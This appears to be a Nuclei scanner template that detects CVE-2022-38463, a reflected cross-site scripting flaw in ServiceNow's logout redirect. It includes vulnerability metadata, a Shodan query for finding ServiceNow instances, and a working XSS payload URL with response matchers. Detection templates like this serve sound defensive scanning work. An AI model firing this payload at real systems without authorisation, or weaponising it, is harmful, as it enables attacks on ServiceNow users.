id: CVE-2022-38463 info: name: ServiceNow - Cross-Site Scripting author: amanrawat severity: medium description: | ServiceNow through San Diego Patch 4b and Patch 6 contains a cross-site scripting vulnerability in the logout functionality, which can enable an unauthenticated remote attacker to execute arbitrary JavaScript. remediation: | Apply the latest security patches provided by ServiceNow to mitigate this vulnerability. reference: - https://support.servicenow.com/kb?id=kb_article_view&sysparm_article=KB1156793 - https://nvd.nist.gov/vuln/detail/CVE-2022-38463 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2022-38463 cwe-id: CWE-79 epss-score: 0.00141 epss-percentile: 0.49624 cpe: cpe:2.3:a:servicenow:servicenow:san_diego:patch_4:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: servicenow product: servicenow shodan-query: http.title:"ServiceNow" tags: cve,cve2022,servicenow,xss http: - method: GET path: - "{{BaseURL}}/logout_redirect.do?sysparm_url=//j%5c%5cjavascript%3aalert(document.domain)" matchers-condition: and matchers: - type: word part: body words: - "top.location.href = 'javascript:alert(document.domain)';" - type: word part: header words: - text/html - type: status status: - 200 # digest: 490a0046304402207826948b2f322fa0d4da4e1877bd88e78d9bb0cb9a3a28ff94949f40fe34697802205336bc9979ae63ef69aa75c05ec022a4d2ec7c50969c68d4e301035da1156a0a:922c64590222798bb761d5b6d8e72950